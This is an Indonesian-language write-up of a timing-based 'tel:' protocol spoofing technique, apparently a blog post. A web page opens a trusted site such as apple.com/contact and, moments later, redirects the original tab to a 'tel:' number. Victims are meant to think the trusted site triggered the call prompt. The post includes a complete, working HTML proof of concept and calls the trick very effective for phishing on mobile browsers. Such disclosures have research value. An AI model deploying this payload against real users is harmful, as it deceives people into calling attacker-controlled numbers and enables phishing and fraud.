# Timing-Based tel: Protocol Spoofing via Chained Navigation

`tel:` protocol spoofing adalah teknik manipulasi berbasis waktu yang digunakan untuk **menyalahgunakan kepercayaan pengguna** dengan membuat mereka percaya bahwa **prompt panggilan telepon berasal dari situs terpercaya**, padahal sebenarnya dimanipulasi oleh situs attacker melalui *timing-based chained navigation*.  
  
⚙️ Teknik: Chained Navigation + Timing

Teknik ini bekerja dengan cara berikut:

1. **User klik tombol** dari halaman attacker.
    
2. **Redirect cepat** ke situs terpercaya (misalnya [`apple.com/contact`](http://apple.com/contact)) menggunakan [`window.open`](http://window.open).
    
3. **Beberapa ratus milidetik setelahnya**, `document.location = 'tel:+...'` dijalankan di tab awal.
    
4. Korban melihat situs terpercaya terbuka, lalu **prompt panggilan muncul di tab sebelumnya** — membuat kesan bahwa situs trusted-lah yang menyebabkan prompt `tel:` muncul.
    

### 🧪 Proof of Concept (PoC)

Berikut ini adalah PoC sederhana yang menunjukkan teknik ini dalam praktik:

```html
<!DOCTYPE html>
<html>
  <head>
    <title>tel: Spoofing Demo</title>
  </head>
  <body>
    <h2>Click to Continue</h2>
    <input 
      type="button" 
      value="Click here" 
      onclick="
        setTimeout(function() {
          window.open('https://www.apple.com/contact/');
        }, 123);

        setTimeout(function() {
          document.location = 'tel:+2123232';
        }, 723);
      "
    >
  </body>
</html>
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746897311411/bb4cdb6b-98b8-45ce-9b0a-3f4b43cd87ac.png align="center")

### ✅ Kesimpulan

**Timing-based** `tel:` spoofing menunjukkan bagaimana manipulasi waktu dan navigasi bisa menyalahgunakan protokol sistem untuk menipu pengguna. Teknik ini relatif sederhana, namun **sangat efektif untuk phishing atau trust abuse di browser mobile**.
